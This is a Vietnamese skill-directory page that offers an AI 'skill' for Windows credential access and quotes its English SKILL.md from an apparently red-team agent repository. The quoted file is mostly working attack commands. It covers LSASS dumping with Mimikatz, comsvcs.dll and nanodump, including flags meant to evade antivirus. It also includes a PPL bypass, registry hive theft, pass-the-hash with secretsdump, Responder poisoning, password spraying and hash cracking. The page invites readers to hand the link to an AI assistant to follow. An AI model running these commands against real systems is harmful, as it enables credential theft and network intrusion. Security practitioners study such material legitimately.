Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14133

credential-access

Skill này làm gì

Cơ sở kiến thức này bao quát nơi lưu bí mật đăng nhập trên hệ thống Windows và cách chúng có thể bị lộ trong mạng. Dành cho người phòng thủ và người kiểm thử được ủy quyền cần bảo vệ các nguồn này.

Khi nào nên dùng

  • ✓Khi một đội bảo mật muốn kiểm tra xem kho mật khẩu trên máy chủ có được bảo vệ không.
  • ✓Khi một bài kiểm tra được ủy quyền cần xem việc đầu độc phân giải tên có làm lộ thông tin đăng nhập không.
  • ✓Khi một nhóm rà soát phòng thủ chống password spraying và cài đặt khóa tài khoản.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem các máy chủ Windows của chúng tôi có bảo vệ bí mật đăng nhập đã lưu không, và việc đầu độc tên hoặc password spraying có thể làm lộ tài khoản không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent rà soát cài đặt bảo vệ cho kho thông tin đăng nhập, kiểm tra phân giải tên và chính sách khóa tài khoản, rồi báo cáo các lỗ hổng cần khắc phục.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Credential Access Knowledge Base

Credential access extracts authentication material from compromised systems and network traffic. Captured credentials enable lateral movement, privilege escalation, and persistent access. Always validate scope authorization before executing credential attacks.

Quick Reference

# LSASS dump via comsvcs.dll (living-off-the-land, no tool upload)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\out.dmp full

# SAM/SYSTEM hive extraction
reg save HKLM\SAM C:\Windows\Temp\SAM && reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM && reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

# Remote secretsdump (domain creds required)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# Responder LLMNR/NBT-NS poisoning
responder -I eth0 -dwPv | tee responder_<TARGET>.log

# Password spray with NetExec
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log

# Crack NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt

MITRE ATT&CK Mapping

Technique ID Name Tools
T1003.001 OS Credential Dumping: LSASS Memory Mimikatz, nanodump, comsvcs.dll, HandleKatz
T1003.002 OS Credential Dumping: SAM reg save, secretsdump.py
T1003.004 OS Credential Dumping: LSA Secrets secretsdump.py, Mimikatz
T1557.001 LLMNR/NBT-NS Poisoning Responder
T1110.003 Password Spraying CrackMapExec, NetExec, DomainPasswordSpray
T1187 Forced Authentication ntlmrelayx.py, PetitPotam

1. LSASS Memory Dumping

Mimikatz — sekurlsa Module

# Dump all logon passwords from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_<TARGET>.txt

# Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"

# Dump Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Dump cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

nanodump (Stealthier LSASS Dump)

# Direct LSASS dump — avoids Mimikatz signatures
nanodump.exe --write C:\Windows\Temp\out.dmp

# Fork LSASS process first (avoids direct handle to lsass.exe)
nanodump.exe --fork --write C:\Windows\Temp\out.dmp

# Use invalid signature to bypass AV file scanning
nanodump.exe --write C:\Windows\Temp\out.dmp --invalid

# Parse dump offline with Mimikatz
mimikatz.exe "sekurlsa::minidump out.dmp" "sekurlsa::logonpasswords" "exit"

comsvcs.dll MiniDump (LOLBin)

# Get LSASS PID
$lsassPid = (Get-Process lsass).Id

# Dump using comsvcs.dll — no tool upload required
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Windows\Temp\lsass.dmp full

# Alternative: use cmd with tasklist
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full

HandleKatz (Handle Duplication)

# Uses handle duplication to access LSASS — bypasses PPL in some configs
HandleKatz.exe --pid:<LSASS_PID> --outfile:C:\Windows\Temp\lsass.dmp

# Parse the dump offline
pypykatz lsa minidump lsass.dmp -o handlekatz_<TARGET>.txt

2. SAM/SECURITY/SYSTEM Hive Extraction

Registry Save (Local Admin Required)

:: Save SAM, SYSTEM, and SECURITY hives
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

:: Transfer to attack machine, then extract
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL -outputfile local_hashes

Remote Extraction with secretsdump.py

# With plaintext credentials
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# With NTLM hash (pass-the-hash)
secretsdump.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -outputfile secretsdump_<TARGET>

# Extract only specific secret types
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc-ntlm   # DC: NTLM hashes only
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc         # DC: All including Kerberos keys

# Volume Shadow Copy method (avoids locked file issues)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -use-vss

3. DPAPI Secrets

SharpDPAPI — Browser & Credential Vault

# Dump all DPAPI-protected credentials for curre
Câu hỏi thường gặp

LSASS là gì?

Đó là tiến trình Windows giữ bí mật đăng nhập trong bộ nhớ, nên cần được bảo vệ mạnh.

Password spraying là gì?

Đó là thử một vài mật khẩu phổ biến trên nhiều tài khoản, và chính sách khóa tài khoản cùng giám sát có thể hạn chế điều này.

Người phòng thủ nên làm gì?

Bật các tính năng bảo vệ thông tin đăng nhập, hạn chế đầu độc tên và giám sát các lần đăng nhập thất bại.

Chi tiết

Mô tả gốc của tác giả

Credential extraction and capture — LSASS dumping, SAM/SECURITY hive extraction, DPAPI decryption, NTLM relay, Responder poisoning, password spraying, hash cracking.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14133
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự